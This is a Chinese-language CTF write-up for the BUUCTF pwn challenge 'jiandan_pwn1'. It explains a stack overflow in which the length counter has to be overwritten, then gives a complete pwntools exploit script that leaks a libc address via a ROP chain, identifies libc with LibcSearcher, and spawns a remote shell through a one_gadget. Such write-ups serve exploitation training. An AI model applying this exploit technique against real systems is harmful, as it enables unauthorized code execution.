BUU-gwctf_2019_jiandan_pwn1-WP
这道题目确实是比较简单的一道题,仅仅是要在输入的时候注意一下就可以了。

这里相当于是自己实现了一个gets,但是记录当前长度的变量也存在当前栈帧中,并且我们在进行读入的时候,如果想实现栈溢出,就不得不覆盖这个变量,这样的话就无法正常寻址了,所以我们需要在输入到v4这个变量时注意覆盖的值,我这里直接修改v4的值为0x118,这样就可以直接覆盖return address了。这样我们就可以泄露某个libc的函数的got,然后就可以通过LibcSearcher找出对应的libc,然后使用one_gadget来直接获得shell。

找出来一大堆符合条件的,但是只有这个是只有一个amd64后缀的,那就它了。

奇怪的是第一个gadget是不能用的,不知道为什么,然后我试了一下最后一个,拿到了shell,所以最后的exp
from pwn import *
from LibcSearcher import *
context(log_level = 'debug',os = 'linux',arch = 'amd64')
#sh = process("./jiandan_pwn")
sh = remote("node3.buuoj.cn","28570")
elf = ELF("./jiandan_pwn")
#puts_plt = elf.symbols["puts"]
call_puts = 0x4007BF
fgetc_got = elf.got["fgetc"]
pop_rdi = 0x0000000000400843
sh.recvuntil("Hack 4 fun!\n")
#payload = 'a'*0x110 + 'b'*8 + p64(pop_rdi) + p64(fgetc_got) + p64(call_puts) + 'a'
payload = 'a'*(0x110 - 0x4) + '\x18' + p64(pop_rdi) + p64(fgetc_got) + p64(call_puts)
sh.sendline(payload)
data = ''
last = ''
while True:
now = sh.recv(numb = 1,timeout = 0.01)
if last == '\n' and now == '':
┊ data = data[:-1] + '\x00'
┊ break
else:
┊ data = data + now
┊ last = now
fgetc_addr = u64(data.ljust(8,'\x00'))
print hex(fgetc_addr)
libc = LibcSearcher('fgetc',fgetc_addr)
libcbase = fgetc_addr - libc.dump('fgetc')
print hex(libcbase)
execv_addr = libcbase + 0xf1147 #one_gadget
payload = 'a'*(0x110 - 0x4) + '\x18' + p64(execv_addr)
sh.sendline(payload)
sh.interactive()